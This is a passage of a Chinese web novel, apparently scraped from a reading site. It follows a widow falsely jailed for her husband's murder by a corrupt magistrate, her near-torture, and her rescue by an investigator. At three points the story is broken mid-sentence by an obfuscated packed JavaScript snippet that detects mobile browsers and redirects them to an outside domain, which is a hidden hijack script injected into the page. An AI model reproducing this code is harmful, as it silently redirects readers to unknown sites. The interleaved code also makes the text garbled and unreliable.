“我衣衫撒了酒，给我更衣。” 原本不想让丫鬟们掺和宴席，眼下正巧她们都不知宴席上沈万金横死，还在死守沈家各院消息并不互通，万般皆由芸娘调度的规矩。 这给了她些许时机，只要能熬过官差的审问，她就能够妥善处理芸娘和文琴的后事。 夏南手脚麻利，很快为她换上了新的衣裙。 院子里忽然跑来了那个送信的小丫鬟，神色慌张：“夫人，官差将芸管事带走了！他们还要抓我，我……” “来人！把这后院的女人通通都给我抓起来！都是嫌犯，一个不能放过！”张鸿志的声音在正院门口突兀地响起。 苏尔茗只见官差们涌入院子，不管仆从们是否反抗，见到人就狠狠按在地上擒住，一脸得意的邀功模样看向张鸿志，她的手隐在衣袖下隐隐颤抖。 张鸿志这副模样，分明是想趁火打劫。 不远处，一个模样勉强周正的衙役，眼神闪着邪淫的光，盯上了那个报信的小丫鬟。 他狞笑着上前：“逮到你了！还敢跑？” 那小丫鬟吓得脸白如纸，仓皇地往后退，却被脚下的石子绊倒，眼看就要被那衙役靠近。 苏尔茗冷脸大步上前，拔下头上的发簪便那人手上狠狠扎去。 衙役见状不好立刻收手，抱胸与她对视。 “这位夫人，包庇窝藏嫌犯，可是重罪。”他上上下下打量苏尔茗，眼神令人极为不悦，“若你们是同党……” 他从腰间拿出结实的绳索，敲打在掌心，“就休怪我不客气。” 苏尔茗递给夏南一个眼神，见那小丫鬟被夏南扶起，才掠过那衙役径直走向张鸿志。 “张大人。” 张鸿志站在正院的门口，正在四处张望，呼幺喝六地命人将擒住的“嫌犯”送往府衙大牢，手中翠玉扳指极为惹眼。 他见到送上门来的苏尔茗，微微眯了眯眼，捻起一缕胡须：“沈夫人，你可有什么话要对本官说？” 苏尔茗福了福身，做足姿态：“张大人，大驾光临沈家，民女有失远迎。按理应请大人上座，但不知沈家犯了何事，让大人如此大动干戈？” “明知故问！”蒋英骤然发难。 苏尔茗眉头一皱，轻轻摇了摇头：“民女方才不小心在宴席失仪脏了衣衫，这才换好衣衫出来。” 张鸿志冷声打断她的话，紧盯着她的反应：“沈万金方才被人用匕首刺死，你不知情？” 苏尔茗一怔，慌张地抬起头，忽然向前一扑抓住张鸿志的衣袖，凄惨落泪：“大人，您莫要吓民女！夫君他怎么了？！” 张鸿志被她扑个措手不及，想要后退避开，却被死死抓住动弹不得。 “装模作样，此事定与你有关！先前两次三番向本官递诉状，本官好心劝和，如今你干脆对自己的夫婿痛下杀手！”张鸿志彻底被惹怒，拂袖一挥，将她摔落在地。 “蒋英！把她也抓走！一并带入大牢！” 苏尔茗身子一歪，狠狠磕在院门的假山石上，痛呼一声。 “夫人！”另一个小丫鬟灵活的绕开身前衙役，身子撞开那前来擒拿苏尔茗的蒋英，扑着护在她身前，“夫人她刚刚回来，你们冤枉她了！” 苏尔茗痛得眼前发花，艰难地捂住臂膀坐起身，看着小丫鬟双髻上的绒花，认出来是高奉劫持她那夜，提着木桶来送热水、反被她呵斥赶走的那个。 沈家粗使丫鬟换得极为频繁，她甚至不知道这个小丫鬟的名字。 “你……” “夫人，奴婢名为早苗。”小丫鬟脆生生地答，扭头看她的眼神里满是担忧。 蒋英步步逼近：“是不是冤枉，到衙门审问一番自有结果。若你是清白的，张大人定然不会冤枉无辜。” 苏尔茗扶着早苗的臂膀，将手中的扳指偷偷塞在她掌心，借着缓缓起身的动作，极快的嘱咐：“你和它一起藏起来，等我回来。” 早苗瞪大了眼睛，几不可见地点点头，热乎的小手轻轻捏了捏她的手指。 蒋英已到早苗身前，她将早苗往身后一揽，正视蒋英：“大人说我是嫌犯，自然手中有证据，若如此，抓我去大牢候审，民女愿意配合。但，我这沈家后院里十几姨娘，二百多名仆役，是否都需要一一带走审问？” 她看向不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462811|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处袖手旁观的张鸿志，厉声质问：“不知大人，是否都有证据？” “你！”张鸿志指着她，气得满脸通红，“花言巧语！” “此事定是她做的，给我把她带回去严刑拷打！将沈府封锁，一只蚊虫都不准放出去！” * 京中，大理寺。 陆远将高奉送入大理寺地牢里，已是入夜时分。 大理寺卿温正远走过来，看着他一脸愁苦，纳罕道：“怎么？人抓到了都不高兴？明日上朝，陛下定要嘉奖你一番。” 陆远像是飘走了思绪，直到温正远问出第二遍，才回了神。 陆远低声正色道：“温大人莫要调笑在下，嘉奖并非我所求，方才……我只是在想些私事。” “将一国百姓视为自家，誓平天下不公的陆少卿，竟也有了私事？可真是难得。”一旁大理丞李默也踱步过来凑凑热闹，挤眉弄眼，“若是这私事，沾了些别的心思，京中指不定多少闺阁女儿芳心破碎。” 他边走边叹息，过去拍了拍陆远的肩：“就连我家三岁的女娃，都说长大了以后要嫁陆大人这样的青年才俊，更别说那些适龄的小姐们。” 大理寺卿温正远捻着美须，颇为欣赏地看着陆远，似乎也想等他一个答案。 陆远却问：“李大人，恩自县从前可有上报的案件？” 李默无奈地摇摇头，思忖一阵，犹豫地问了句：“你说的是哪位县丞在任的时候？” “张鸿志。”陆远紧盯着李默的神情，心里渐渐生出不好的预感。 “张鸿志嘛，他在任十余年，是恩自县当地十分有名的父母官，其下治安颇好，民风淳朴。这在任期间，似乎从未有过上报的案件，朝廷也曾派人去求取经验，张鸿志还曾被立为县治楷模。”李默答。 温正远忽然补了一句：“我先前见过他一面，此人……” “舅父！舅父！”不远处，一道惊慌的声音快速接近。 他们立刻迈出门，只见一个男子从大理寺衙门门前连滚带爬地下马，神色惊惶，险些被衙门的门槛绊倒，踉跄着扑到李默的面前。 “启川？你不是去恩自县吃喜酒，怎得这么快就回来了？”李默惊道，连忙将人扶起。 “舅父！那……那那恩自县，出人命了！”李启川上气不接下气，嘴唇干的发白，眼神的惊恐仍未消退，“我那笔友万金兄，被他的新嫁娘给杀了！” “你说谁？”陆远的声音横插进来，藏不住的急切。 “恩自县首富，沈家，沈万金！” 陆远忽然捂住心口，咯噔一下，方知刚才的心慌早有预兆。 李默不知陆远的心思，一心想着问清情况：“当时是什么情形，被害人可还活着？那张鸿志可出面处理此事了？是什么缘故？若是恶性案件，明日便应该上报到大理寺。” “舅父，我在那宴席上被吓破了胆，哪里还敢多看！”李启川回想起宴席上那一幕，眼里的泪唰地流下来，“后来我出城时，好像听人说，是他夫人早有不满，故而痛下杀手，如今应该已经被关押入狱了。” “唉……陆兄，你说你这个乌鸦嘴……”李默回身一看，陆远早已不知所踪，“人呢？” 门口马儿嘶鸣声划破夜色，一声大喊自门外传来。 “温大人，在下身负要事需离京一段时日，嘉奖便免了，还望大人准我此行！” 话虽如此，夜色下那匹乌骓马顷刻消失不见。 温正远无奈地摇了摇头，将手背在身后，踱步往衙内走，留下一句：“正巧，这事就让他去处理吧。” 李默和李启川对视一眼，李启川呆呆地问：“舅父，陆大人平时都这么古道热肠吗？” “……总感觉这次不像。”李默答。 23. 第 23 章 一匹快马连夜出京，风驰电掣，直奔恩自县城。 几个时辰前，沈家血光之灾的事情，传遍了小小的县城，杀夫的流言愈演愈烈。 “先前那苏尔茗就到县衙击鼓鸣冤，好在张大人心明眼亮，没让那毒妇的诡计得逞！这下好了，自寻死路，放着好好地贵妇不做，非要当囚徒！” “男人嘛，不就是爱玩了点，换做是我做沈夫人，沈老爷抬几十个我眼睛都不带眨一下！” “我怎么听说，那沈老爷脾气不好，经常打骂夫人？”一个杂役打扮的人，突然插入路边几个妇人的议论中。 “打人？”妇人嗤笑一声，双手抱胸，白眼都翻上天去，“花沈家那么多钱，打你两下怎么了？没钱的，不照样打骂还得伺候？不知足！” “听说沈家娶她一个落魄书生的女儿，花了上千两银子大办排场。”另一妇人手里磕着一把瓜子，呸地将瓜子皮吐掉，“别说千两，给我一半，我都愿嫁！保准不给沈老爷添麻烦，可惜了……这顶好的夫婿。” “要我说，这苏尔茗就应该千刀万剐！” “对！” 杂役模样的赵春花沉着脸，远离了那几个越发激愤的妇人，一脚拐进了小巷子消失不见。 不远处，两个沐春楼的小学徒手里拿着个小荷包在那等着。 “那小子怎么上厕所这么磨磨蹭蹭？都多久了还不回来？” “保不齐是吓坏了，今日这场面他哪里见过？方才说腹痛让你拿着荷包免得弄脏，我们先回沐春楼等吧。” 二人渐渐远去，长街上早已没有了赵春花的身影。 县城的府衙里，张鸿志提着小泥壶正在往嘴里灌茶，一脸怯意。 堂内的蒋英正在上报：“大人，消息放出去之后，几乎没有人质疑。这沈家夫人苏尔茗本就甚少出门，在恩自县三年更是无一亲友，她爹娘妹妹都在城外的村子，无人知晓她入狱的消息。” 何师爷站在一旁暗暗点头，捋着胡须，眼中精明万分：“大人，我看不如……借这个机会，把沈家……” 他单手合拢攥拳，抓了一把空气放入袖袋，抬头看着一脸兴趣的张鸿志，挑了挑眉。 “这可是个送到嘴边的肥肉。” 张鸿志斜倚在圈椅中，双腿搭在公案上翘着脚，颇为得意地一抬袖子：“这不……我的扳指哪儿去了！” 张鸿志本就不是个有钱人，平日里根本没有带首饰的习惯，方才便觉得似乎少了什么，何师爷提醒起来，他竟才发现那戒指不翼而飞！ “我连如厕睡觉都不曾将它摘下，今日，只有那女人进了我的身！”张鸿志几乎是从桌椅间跳了起来，丰腴的肥肉还未停下波动，便随着他一同去往地牢了。 何师爷和蒋英对视一眼，何师爷点了点头，“去吧，把刑房的老赵叫来，或许等会用得上。” 蒋英领命，带人直奔刑房。 何师爷将手背在身后，慢吞吞地往牢房去，叹了口气：“女人啊，目光短浅……” 夜里，冷风透过监牢里高高的狭小天窗将潮湿霉腐的味道吹散几分，反而更添刺骨的寒冷。 发霉的干草堆上，苏尔茗面无表情地抱膝坐着，呆呆地看着自己眼前的一块石砖。 沈万金的死其实与她并无直接联系，但张鸿志的神情，分明是想借机将她定罪处死，然后将沈家吞并。 无论她有罪无罪，一个富甲一方的寡妇，都会是他们眼里的肥肉。 她垂着头，手指落在布满潮湿水汽的石砖上，无意识地划下一个“竹”字。 竹奕。 昏暗的台阶忽然被火光照亮，传来急促地脚步声。 她胡乱用手将那字迹抹掉，抬头看向来人。 “沈夫人，我原本想给你个痛快。”张鸿志身量偏矮，官帽遮住了火光，看不清他阴暗的表情。 “民女不知做了何事，惹大人不快。”苏尔茗缓缓站起身，俯视着张鸿志，眼神坚毅，“大人说要给我个痛快，民女不知触犯了哪条刑律，还请大人将证据明示。” “莫要跟我装傻充愣。我只问你一句，”张鸿志接过狱卒手中的食盒，掀开盖子，立刻迸发出饭菜的香气，“扳指在哪里？” 苏尔茗看都不看，淡定地垂下目光缓缓一笑。 “大人，民女听不懂。不知大人问的是自己的扳指，还是别人的？” “放肆！”蒋英大喊。 她转头看向蒋英：“蒋大人先前说带我进来审问，怎么如今直接定了我的罪？这便是大人所说的不冤好人？” “你！”张鸿志将那食盒摔在地上，拂袖而出。 他站在牢门外，神色阴狠地吩咐：“来人，嫌犯拒不交代，给我用刑！” 两名狱卒二话不说将擒住苏尔茗臂膀，将她带往旁边的隔间，捆上刑架。 铁链捆在她手腕间，隔着衣袖冰得她一个激灵，浅色的衣裙上立刻蹭上了铁链上暗褐色的脏污痕迹。 整个刑房里都弥漫着一股无法消散的血腥气味，不远处火盆里噼啪声，还有烧红的烙铁发出滋滋的声响。 张鸿志捋着胡须满意地眯起眼睛，脸在半明半暗的火光里格外阴森。 他转身吩咐负责刑讯的老赵：“让她开口。” 又将何师爷手里卷起的一个纸卷拿过来，递给老赵：“还有这口供，让她签字画押。” 老赵接过纸卷，缓缓展开，上面赫然写着“因不满沈万金纳妾……遂痛下杀手，意图霸占沈家财富”等字样。 老赵连连点头，抱拳回答：“大人，小的省得。” 张鸿志不耐烦地挥了挥手，命人将刑房的门合上。 老赵将那口供往桌上一拍，朗声问：“你这个时候若是识相点，或许还能留你个全尸。” “张大人！”苏尔茗强装镇定，颤声质问，“我乃高奉案件中唯一的生还者，若是京中大理寺传我入京作证，不知大人该如何答复？” 张鸿志隔着木栏同她相望，眼神疯狂闪烁，未发一言。 老赵在一旁挑选刑具的动作也停了下来，看着张鸿志的反应。 何师爷附在张鸿志耳边小声说了什么，时不时看了她几眼。 半晌，张鸿志古怪一笑：“他？你活不活着，高奉都必死。更何况，眼下你是个阶下囚，还轮不到京中大理寺过问你一个村妇的生死！” “老赵，给我用烙铁狠狠地把她的嘴封上！” “得令！” 老赵举起那通红的烙铁便直奔她而来，滚烫的热浪在几米以外就能掀起一股烧糊的气味。 忽然，牢房的石阶上连滚带爬地下来一个衙役。 他口中大喊：“大人，京中的陆大人要见您，现在正在堂内等着呢！” 张鸿志嘴角的笑意一收，正了神色。 他看着那不远处即将按上白嫩皮肉的烙铁，心里痒痒地，想要听那一声皮肉发出滋啦的声响，而后痛苦扭曲的嚎叫声宛如天籁。 苏尔茗惨白着脸，看着近在咫尺的通红烙铁，翘起的发梢在烙铁上顷刻化为灰烬，脸上已被它的热度熏红，她额间不由得淌下大颗的汗珠。 爹、娘…… 她眼前忽然闪过一袭青衫，那人语气带笑问她：“夫人，可要雇我？” 她认命地闭上了眼。 “老赵，等一下。”张鸿志喝止。 滚烫的热浪远离脸上的一瞬间，苏尔茗下意识地松了一口气，脱力地靠在刑架上。 老赵面无表情地笑了笑，将那烙铁按在了一旁的木桌上，立刻腾起一股黑烟，他语气遗憾：“就这点胆量……啧啧。” 不远处，张鸿志恶狠狠地瞪了她一眼，拂袖而去。 “先将她送回牢里，等我回来。” 张鸿志大步迈出地牢，刚一出大门，便碰上了满脸严肃的陆远。 他想起方才苏尔茗的话，转了转眼珠，连忙恭敬行礼：“陆大人，大人深夜寻我，可是高奉的案子落了东西？” 陆远从身后掏出一本卷宗，上面写得正是沈家杀人案，张鸿志左眼皮跳了跳。 陆远将张鸿志的表情看在眼里，面上却丝毫不见急切，一脸正色道：“高奉的案件已经移交大理寺，不日便会出结果。我来此，是因另一件事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470922|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张鸿志刚松了一口气，准备打个手势让人继续刑讯逼问苏尔茗。 只听陆远道：“大理寺卿听说恩自县今日出了件杀人案，命我连夜过来，以防恩自县出现第二个高奉。” “方才我看了这卷宗，沈万金尸首的勘验结果以及嫌犯的作案工具和证物，嫌犯已经畏罪自尽。不知大人下一步打算如何？” 张鸿志从衣袖中伸出的手一顿，立刻缩了回去，抬起手擦了擦额间的冷汗。 他思忖许久，才道：“陆大人对着恩自县的情形有所不知，沈家的夫人苏尔茗平日里对死者沈万金心生怨怼，曾多次递交诉状，控诉沈万金家暴一事，但据我所调查此事皆为苏尔茗捏造，所以她具有作案的动机，本官不可不查。” “羁押罪犯需要证据，不知大人可有人证、物证证明？”陆远低头看着张鸿志，手中的卷宗被他不自觉捏紧，手背青筋分明。 张鸿志忽然便有些磕巴：“嗯……这个……当时的诉状已被处理，现场的人证……暂时都被封锁在沈家……” 陆远不耐地打断他，厉声质问：“那便是没有证据便抓人，大人是要打算屈打成招？莫非大人这多年来无一上报案件，便是靠这种见不得光的手段？” 张鸿志被说中心事，越发的心虚。 他瞥着陆远面无表情的脸咂摸不出意图，心里七上八下，只得撒谎敷衍：“陆大人……这就言重了，是下官这次心急，疏忽了。” 见陆远沉着脸，他连忙吩咐身后的蒋英：“去，把沈家的女眷送回去，快去！” 张鸿志脸上带着讨好的笑意，伸手想要从陆远手里接过那卷宗，却不防他突然将手抽回，手里落了个空。 张鸿志手愣在半空，险些维持不住脸上的假笑，低声问：“陆大人，这是何意？” 陆远将那卷宗同手一起背在身后，神色莫测：“大理寺卿温正远命我来处理此案，还望张大人多多配合。” 张鸿志张了张嘴，急得推了一把何师爷。 何师爷只得上前，行了一礼：“陆大人……这” 不待何师爷再说什么，陆远利落地转身离去。 “此案须在明日天亮一个时辰后，将案情公布于众，还望大人和诸位同僚，辛苦一番。” 徒留张鸿志与何师爷二人面面相觑。 半晌，张鸿志微微眯起眼，脸色涨红，一拳狠狠砸在掌心，正要破口大骂。 何师爷连忙劝慰：“大人，此事还需徐徐图之。那陆远，还能日日在这恩自县不成？” 张鸿志看了眼何师爷，这才露出个笑模样，拍了拍何师爷的肩膀：“你说得对。” 二人不慌不忙地往府衙院子里去了。 月上中天，此时正是夜风最寒的三更天。 苏尔茗被人从地牢里粗暴地推搡出来，从那阴暗潮湿的地方迈出，抬头便见天上明亮的月色，恍若隔世。 她下意识抱紧自己的双臂，瑟缩着苦笑了声。 身后突然一暖，一件带着残余体温的披风，覆上了她的肩头。 苏尔茗如同受惊的鸟儿，下意识将那披风拂开，往前迈一大步与身后的黑影拉开距离。 这才敢回头瞧，入眼便是那一袭熟悉的青衫，风尘仆仆、满是泥泞。 “竹奕……”她看着他举起披风的手，生出几分愧疚。 陆远立刻收回手，将披风搭在臂上，脸上神色淡淡，看不出表情：“看来又是我自作多情，夫人根本不需要我的好意。” 他眼神紧盯着她，见她并无大碍，还是松了一口气。 而后却发现，她自认出他便错开了眼神，不敢再抬头与他对视一眼，始终沉默着站在那。 心头忽然生出烦闷。 他垂下目光不再言语，利落地转身迈开步子，打算送她回去。 刚迈出一步，衣袖忽然被身后的人扯住。 他脚步一顿，板着脸缓缓回身。 盈亮的月色里，他看到她眼里框着泪水，鼻尖微红，手里攥着他的衣袖，用力地像是抓住一根救命稻草。 她带着哭腔，柔声问：“你……能不能别丢下我？” 24. 第 24 章 陆远怔在原地，眼神一暗。 他抬起手准备拭掉她的泪，却忽然停在半空，最终还是拿出了怀中带着体温和淡淡香气的锦帕，折起一角，小心翼翼地贴在她的眼角。 半晌，他轻声说：“是夫人一再要与我撇清，不曾需要我。” 黑色的眼瞳极为认真地看着苏尔茗，像一汪深潭，吸走了她所有的不安。 锦帕上淡淡的皂角香气，让她慢慢从那种噩梦般的阴湿牢狱里醒来。 “对不起，那些金银并非我本意。”她接过他的帕子拭泪，鼻翼悄然翕动，但仍旧不松开抓着他衣角的手，“那……是沈万金的嘱咐，我害怕被他知道……先前的事。” 他似乎有些无奈，看着她用力到发白的手背：“夫人，在下暂时不会离开，不必攥得这么紧。” “抱歉……”她突然松开手，无措地绞着帕子，声若蚊呐，“若我反悔了，你先前的话可还作数？” 陆远眼见她越说头越低，耳鬓边的一缕碎发散落下来，落在她细白的面颊上，平静的面容上多了几分惹人怜惜的脆弱。 他心头冒出一个想法，就当做是给自己风尘仆仆而来的一个交代。 “我先前说过的话有很多，不知夫人说的是哪一句？” 苏尔茗瞬间有些慌张，她急切地看向他，却撞入了一双藏着笑意的眸子，到嘴边的话立刻变得有些磕巴。 “你……你说要，做我的打手。” 她转开的眼神又落到他身上，抿抿唇，声音慢慢变得坚定，“竹奕，我想要雇你。” 陆远唇角的笑意慢慢地变大，带着几分得逞的意味。 在苏尔茗焦急等待他答复的时候，再次望进他眼中，他已然收了笑意，朗声答应：“好，都依夫人。” 他缓缓拿起手里的披风，双手绕到她颈后将披风披在她的肩头，极有分寸地避开她的下巴，轻轻系上了一个结。 “夜深了，我先送你回去。”他温声道。 陆远抬步往前走，从角落的阴影处牵来一匹乌黑的马，示意她上马。 苏尔茗谨慎地握住马鞍，脚蹬在马镫上，感觉腰间被一股力道轻轻一推，转眼已经离地三尺高。 她瞬间脸色有些发白，但随即身后一坠，陆远翻身上马，将她圈在缰绳与身前的空间里。 耳边是他柔声的安慰：“夫人莫慌，乌岚很听话，不会摔了你。” 苏尔茗低低的嗯了一声，马儿便带着他们在长街飞驰而过。 夜风呼啸，她身上裹着披风，却再也感觉不到像刚出地牢门口时那样的遍体生寒。 她挺直的脊背在马背的颠簸中，缓缓松懈。 陆远眼中一动，嘴角勾起淡淡的笑意。 沈家门前红色的喜事灯笼还未撤掉，门口府衙的人方才撤走，徒留门前一地狼藉。 陆远轻轻一抖缰绳，乌岚便放缓了步子，刚刚停在府门前，不曾惊动附近的宅院。 “夫人，我扶你下来。” 陆远利落地翻身下马，随即将有力且炽热的手掌握在苏尔茗的手臂上，待她稳稳落地，便立刻稳妥的收回。 “多谢。” 她没有细想，只得下意识道谢拉远距离。 陆远牵着马，发觉她刚刚急切的苗头似乎又缩了回去，淡淡地笑了笑，没再为难她。 原以为会再客套几句，没曾想她径直抬步迈上台阶，拉起门上的铜环敲了敲。 门内的小厮提着灯将门打开，一见是苏尔茗，喜出望外。 “太好了，我就说我们夫人是冤枉的！夫人你一走，这府里大家都慌得不行，外面说您是杀夫凶手，我们才不信！” 苏尔茗将披风裹紧，摇了摇头，没接话。 她回身看向等着她吩咐的陆远，意外地问：“你不进来吗？” 这下轮到陆远怔住。 还没等到他拒绝或是答应，看门的小厮已经热情地上来，极其自然地牵过缰绳，将马带入了马房。 陆远想起他在衙门前放下的狠话，无奈地笑了笑：“夫人……” 苏尔茗想了想，似乎觉得下人房有些委屈了他，改口道：“我院中东西两侧的厢房都空着，你若是不嫌弃，可以挑一个住。其他院子，离我有些远。” 陆远的目光落在她衣袖上沾染的陈旧血迹，终是没再说出拒绝的话。 “好。” 沈家的大门，缓缓合上，将冷硬的风阻隔在门外。 门房小厮先一步通知内院，他们二人往后院走时，昏暗无声的院落里渐渐亮起了灯，走到正院更是灯火通明。 苏尔茗放缓了步子，轻声提了一个要求：“我可以给你月例百两，护我平安。但……今夜，我希望你能在房门口守我一夜。” 她神色坦然，并未有半分旖旎之意。 望着他似乎有些不解的眼神，她轻声解释：“自从被高奉掳走，我便时常心神不宁。在山洞中那夜，是我这几年难有的好眠。沈家和这些仆役都还需要我，我不能在这个时候倒下。” 陆远的眼神变得有些悠远，他想起入城时听到的谣言、曾在她身上见过的陈旧伤痕，心不由得软了几分。 对于沈家的案子，他心里渐渐生出新的猜测，似乎……并不是激情杀人这么简单。 他点头应声。 刚行至正院门口，一个身量不高的小丫鬟不知道从哪里冒出来，一头扎进苏尔茗的怀里，呜呜地哭。 院内，夏南领着一众丫鬟，平日里素来麻木的表情，慢慢红了眼眶。 她缓缓低下头，熟悉的小丫鬟发髻，正是早苗。 “早苗，别哭了，我没事。”她拿起胡乱塞在衣袖里的帕子，蹲下身，轻轻给早苗擦泪。 早苗脸上还挂着黑灰，哭得上气不接下气：“夫人，他们……进院子里搜东西，若不是夏南姐姐死命拦着，险些扒了秋絮姐姐的衣裳！” “我……我藏在了那小厨房的炉灶里，才躲过一劫。” 苏尔茗深吸一口气，强制自己忍住怒意，揉了揉她的小脑瓜：“辛苦你了，让她们带你去好好洗洗。” 早苗将那个翠绿的扳指戴到她手上，警惕地看着她身后陌生面孔的陆远，一步三回头地走了。 苏尔茗站起身，手里的帕子被黑灰染得几乎不成样子，她回身看着陆远：“过几日，我还你一个新的。” 陆远原本十分严肃的神情，忽然有些放松，他一挑眉：“夫人现在不仅欠在下一个玉佩，还要再加一张帕子。” 苏尔茗被他的话逗笑，这才松开紧皱的眉头，无奈地摇了摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483488|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她迈入正院，吩咐夏南：“给他收拾出一间最大的厢房，以后他就住在府里，是我的贴身护卫，名叫竹奕。” 夏南应声，吩咐好丫鬟们给正房送热水，才点了几个人往厢房去。 苏尔茗喊住夏南，目光露出几分怀念：“芸娘不在，往后这府里的事情，还要你多帮忙。” 夏南恭敬的一福身，再抬头，眼里落下了泪：“是，夫人，夏南一定幸不辱命。” 正院在她回来后着实小小的热闹了一番，而后沐浴更衣才歇下。 直到正院的卧房内吹熄了烛火，天边的夜色似乎都有些变淡。 陆远抱着剑站在卧房门前，月光将他的身影映在窗棂上，切割成不规则的形状。 他静静地听着里面逐渐变得绵长的呼吸，又多等了一阵，才足尖一点鹞子翻身般上了屋顶，直奔府衙。 府衙内，张鸿志和何师爷早已睡得东倒西歪，就连蒋英也抱着剑靠着柱子合上了眼。 陆远见状立刻沉下了脸，想到苏尔茗被铁链捆锁的痕迹，他拿起案上的惊堂木，狠狠一拍。 “啪！” 一声巨响。 张鸿志头上的官帽砰地落了地，一头稀疏的头发露了出来，双眼怔愣，下意识破口大骂：“谁？谁他娘的敢吓老子！” 何师爷被吓得一屁股坐在了地上，艰难地爬起身，看清陆远略带怒意的面容，连忙拉了拉张鸿志的衣袖：“大人，醒醒，是陆大人回来了！” 他揉揉眼，看清陆远身旁竟然被一把刀指着，连忙呵斥蒋英：“还有你，快把刀收起来！指着陆大人，成何体统！” 蒋英这才迷迷瞪瞪地将刀收回刀鞘，懒懒散散地打了个哈欠：“啊呀，原来是陆大人，失敬失敬。” 陆远一声不吭地将他们的反应尽收眼底，忆起离京前李默曾夸奖张鸿志的话，唇角勾起一丝讥讽的笑意。 恩自县从不上报案件的原因，分明就在眼前，蒙蔽朝廷、欺骗百姓。 一个京郊县城的父母官，却在这并不富裕的小城里，吃得脑满肠肥。 他走到堂前，将张鸿志从圈椅上扯下，拿起卷宗翻了翻：“何师爷，将恩自县近几个月的所有案件的卷宗送去张大人的书房。听说张大人断案十分厉害，我也正好借此机会，学上一学。” “陆大人，可那些案件已经结案……”何师爷下意识就想到文家的那个案子，那可是花了银子买了条人命！ 若是叫这铁面阎王知晓，这个府衙都吃不了兜着走！ “怎么？结案了便不能看了？”陆远凌厉地目光扫过，惊得何师爷一个激灵。 张鸿志只得赔笑道：“能看，能看，不知大人这沈家的案子如何结案？待结案后再看往日的卷宗，倒也不迟。” 陆远将那沈家的卷宗往案上一掷，极慢地扫过他们的眼睛，逼人的气势压得他们几人几乎喘不过气。 他冷声质问：“我办案，何时轮得到你来置喙？” 点在堂内的蜡烛，噗地灭了一只。 昏暗的床帐内，苏尔茗忽然从噩梦中惊醒，冷汗涔涔。 她回想起牢狱里，张鸿志停下对她的折磨，似乎是因为京中的陆大人。 她呢喃出声：“大理寺少卿……陆远？是他救了我吗……” 25. 第 25 章 睡在苏尔茗床边脚踏上的早苗，一听帐子里传来声响，立刻惊醒：“夫人，你怎么了？” 只见床帐里忽然钻进来一个小脑瓜，眼里还有半分迷糊，睫毛扑扇着，一脸关心。 苏尔茗伸手摸了摸她拆掉发髻后毛茸茸的脑瓜，清了清嗓子，柔声道：“我没事，你在我这里睡不好，夏南叫你走你也不愿，往后不长个子了可不要哭鼻子。” 早苗鼻子一皱，调皮地做了个鬼脸：“为了保护夫人，就算是妖怪吃我我都不害怕，更别说是不长个子！” 苏尔茗无奈地笑了笑，最终往床榻里面挪了半个身位，拍了拍：“我一个人害怕，那你上来保护我。” 早苗眼神一亮，抱着自己的小被褥就钻进了帐子，她深深地吸了一口气，爱娇道：“夫人，你好香呀~” “贫嘴，快些睡。”苏尔茗轻点早苗的额头，轻声呵斥。 待到早苗面冲着她在床边躺好，她看到床帐露出了一条缝，伸手想要过去合拢，却看到门前月光投入屋内的影子，少了那个令人安心的身影。 她抿抿唇，垂下了眼，看着早苗困倦地打着哈欠，没再说什么。 “睡吧。你们都累了。” 不过这一会功夫，早苗已经进入了梦乡。 她躺在那里，满心纠结竹奕是不是真的在门外，最终还是怕吵醒早苗，没有迈出门去瞧。 她闭上眼，静静躺着。 或许，那日山洞里安心的一眠，不过是个偶然。 天边夜色被日光冲散，露出一抹鱼肚白。 陆远坐在正院卧房的屋脊上，手中撑着剑，静静地打量晨雾中的沈家宅院。 小妾的院落共有近十处，麻雀虽小五脏俱全，十几名姨娘们就生活在那方寸的院落里，至今都不知道沈家发生了何事。 如果沈万金没有踏入院子，她们就日复一日地重复着枯燥的生活。 就连牢狱地囚犯都有终结这样生活的一日，可她们被锦衣玉食、名医好药的养着，有的人早已成为行尸走肉。 他方才拿着卷宗回来，听到几个姨娘的丫鬟晨起后在议论，沈万金近日不来院子，定是又被那箐箐夺了魂。 “箐箐……文家文琴。”陆远呢喃的声音散在风中。 直到他察觉一道审视的目光。 如今是沈家管事的夏南，在院子正中冷冷地看着他，神情戒备。 “夫人命你在门前守着，你便偷懒，在屋顶上坐了一夜？” 陆远定定地看了她一眼，没言语。 足尖一点，从屋脊上落在铺满青石砖的院中，拦住夏南：“沈家眼下无事，不急着喊她这一会吧？” 夏南好似心虚一般，气势忽然落了下来，只得平静地点点头，转身便要走。 陆远的声音在她身后响起：“你是不是想提醒她，尽早处理东边院子里的那具棺材？” 夏南身影一顿，没答话，脚下步伐却加快了速度。 陆远看着她的身影消失在院中，趁着晨雾还未散去，悄悄攀上屋脊，顺着摸到了那具有棺材的院子。 果然，他见到了夏南。 